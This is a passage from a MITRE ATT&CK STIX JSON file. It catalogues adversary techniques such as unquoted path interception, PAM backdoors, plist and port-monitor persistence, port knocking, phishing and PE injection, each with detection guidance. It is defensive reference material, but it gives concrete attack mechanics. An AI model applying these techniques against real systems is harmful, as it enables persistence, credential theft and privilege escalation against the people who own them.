            "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.",
            "id": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-09-17T19:05:23.755Z",
            "created": "2020-03-13T13:51:58.519Z",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Process: Process Creation"
            ],
            "x_mitre_contributors": [
                "Stefan Kanthak"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "created": "2017-05-31T21:31:28.471Z",
            "modified": "2020-03-26T17:42:03.337Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "type": "attack-pattern",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1120",
                    "external_id": "T1120"
                },
                {
                    "external_id": "CAPEC-646",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/646.html"
                }
            ],
            "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.",
            "name": "Peripheral Device Discovery",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
            "x_mitre_version": "1.2",
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows",
                "macOS"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "id": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Permission Groups Discovery",
            "description": "Adversaries may attempt to find group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1069",
                    "url": "https://attack.mitre.org/techniques/T1069"
                },
                {
                    "external_id": "CAPEC-576",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/576.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-03-30T12:29:56.512Z",
            "created": "2017-05-31T21:30:55.471Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_contributors": [
                "Microsoft Threat Intelligence Center (MSTIC)"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Group: Group Enumeration",
                "Group: Group Metadata",
                "Application Log: Application Log Content"
            ],
            "x_mitre_version": "2.3"
        },
        {
            "id": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b",
            "description": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.",
            "name": "Phishing",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1566",
                    "url": "https://attack.mitre.org/techniques/T1566"
                },
                {
                    "external_id": "CAPEC-98",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/98.html"
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."
                },
                {
                    "source_name": "ACSC Email Spoofing",
                    "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "modified": "2021-04-14T14:38:43.211Z",
            "created": "2020-03-02T18:45:07.892Z",
            "x_mitre_contributors": [
                "Philip Winther"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "SaaS",
                "Office 365",
                "Google Workspace"
            ],
            "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nURL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1598",
                    "url": "https://attack.mitre.org/techniques/T1598"
                },
                {
                    "source_name": "ThreatPost Social Media Phishing",
                    "url": "https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/",
                    "description": "O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020."
                },
                {
                    "source_name": "TrendMictro Phishing",
                    "url": "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html",
                    "description": "Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020."
                },
                {
                    "source_name": "PCMag FakeLogin",
                    "url": "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages",
                    "description": "Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Sophos Attachment",
                    "url": "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/",
                    "description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links \u2013 when phishers bring along their own web pages. Retrieved October 20, 2020."
                },
                {
                    "source_name": "GitHub Phishery",
                    "url": "https://github.com/ryhanson/phishery",
                    "description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020."
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."
                },
                {
                    "source_name": "ACSC Email Spoofing",
                    "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Phishing for Information",
            "description": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.\n\nAll forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.\n\nAdversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.",
            "id": "attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:43:13.134Z",
            "created": "2020-10-02T17:07:01.502Z",
            "x_mitre_contributors": [
                "Philip Winther",
                "Sebastian Salla, McAfee",
                "Robert Simmons, @MalwareUtkonos"
            ],
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_detection": "Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nWhen it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\n\nMonitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1150",
                    "url": "https://attack.mitre.org/techniques/T1150"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "source_name": "Sofacy Komplex Trojan"
                }
            ],
            "name": "Plist Modification",
            "id": "attack-pattern--06780952-177c-4247-b978-79c357fb311f",
            "type": "attack-pattern",
            "modified": "2020-03-17T13:03:25.670Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created": "2020-01-24T20:02:59.149Z",
            "modified": "2021-03-30T00:51:59.629Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "type": "attack-pattern",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1547.011",
                    "url": "https://attack.mitre.org/techniques/T1547/011"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "source_name": "Sofacy Komplex Trojan"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                },
                {
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html",
                    "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.",
                    "source_name": "Adding Login Items"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "source_name": "Malware Persistence on OS X"
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "source_name": "OSX.Dok Malware"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Plist Modification",
            "description": "Adversaries may modify plist files to run a program during system boot or user login. Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). \n\nAdversaries can modify plist files to execute their code as part of establishing persistence. plists may also be used to elevate privileges since they may execute in the context of another user.(Citation: Sofacy Komplex Trojan) \n\nA specific plist used for execution at login is <code>com.apple.loginitems.plist</code>.(Citation: Methods of Mac Malware Persistence) Applications under this plist run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them.(Citation: Adding Login Items) Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \"hide\" the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled</code> can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1059/002) can do this as well. (Citation: Adding Login Items)",
            "id": "attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_detection": "File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nAll the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and allowed for known good applications. Otherwise, Login Items are located in <code> Contents/Library/LoginItems </code> within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items)\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.",
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Process: Process Creation"
            ],
            "x_mitre_platforms": [
                "macOS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1556.003",
                    "url": "https://attack.mitre.org/techniques/T1556/003"
                },
                {
                    "source_name": "Apple PAM",
                    "url": "https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt",
                    "description": "Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020."
                },
                {
                    "source_name": "Man Pam_Unix",
                    "url": "https://linux.die.net/man/8/pam_unix",
                    "description": "die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020."
                },
                {
                    "source_name": "Red Hat PAM",
                    "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules",
                    "description": "Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020."
                },
                {
                    "source_name": "PAM Backdoor",
                    "url": "https://github.com/zephrax/linux-pam-backdoor",
                    "description": "zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020."
                },
                {
                    "source_name": "PAM Creds",
                    "url": "https://x-c3ll.github.io/posts/PAM-backdoor-DNS/",
                    "description": "Fern\u00e1ndez, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Pluggable Authentication Modules",
            "description": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)",
            "id": "attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2021-04-20T20:12:34.422Z",
            "created": "2020-06-26T04:01:09.648Z",
            "x_mitre_version": "2.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "root"
            ],
            "x_mitre_detection": "Monitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nLook for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Logon Session: Logon Session Creation"
            ],
            "x_mitre_contributors": [
                "Scott Knight, @sdotknight, VMware Carbon Black",
                "George Allen, VMware Carbon Black"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1205.001",
                    "url": "https://attack.mitre.org/techniques/T1205/001"
                },
                {
                    "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631",
                    "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.",
                    "source_name": "Hartrell cd00r 2002"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Port Knocking",
            "description": "Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.",
            "id": "attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-10-21T01:26:31.804Z",
            "created": "2020-07-01T18:23:25.002Z",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1013",
                    "url": "https://attack.mitre.org/techniques/T1013"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/dd183341",
                    "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.",
                    "source_name": "AddMonitor"
                },
                {
                    "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf",
                    "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint slides&#93;. Retrieved November 12, 2014.",
                    "source_name": "Bloxham"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "name": "Port Monitors",
            "id": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-24T19:47:55.183Z",
            "created": "2017-05-31T21:30:26.057Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1547.010",
                    "url": "https://attack.mitre.org/techniques/T1547/010"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/dd183341",
                    "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.",
                    "source_name": "AddMonitor"
                },
                {
                    "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf",
                    "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint slides&#93;. Retrieved November 12, 2014.",
                    "source_name": "Bloxham"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Port Monitors",
            "description": "Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the <code>AddMonitor</code> API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.",
            "id": "attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-01-24T19:46:27.750Z",
            "created": "2020-01-24T19:46:27.750Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_effective_permissions": [
                "SYSTEM"
            ],
            "x_mitre_permissions_required": [
                "SYSTEM",
                "Administrator"
            ],
            "x_mitre_detection": "Monitor process API calls to <code>AddMonitor</code>.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \n\nMonitor Registry writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Process: OS API Execution",
                "Module: Module Load",
                "Windows Registry: Windows Registry Key Modification"
            ],
            "x_mitre_contributors": [
                "Stefan Kanthak",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "created": "2020-01-14T01:27:31.344Z",
            "modified": "2020-11-10T18:29:30.882Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662",
            "description": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ",
            "name": "Portable Executable Injection",
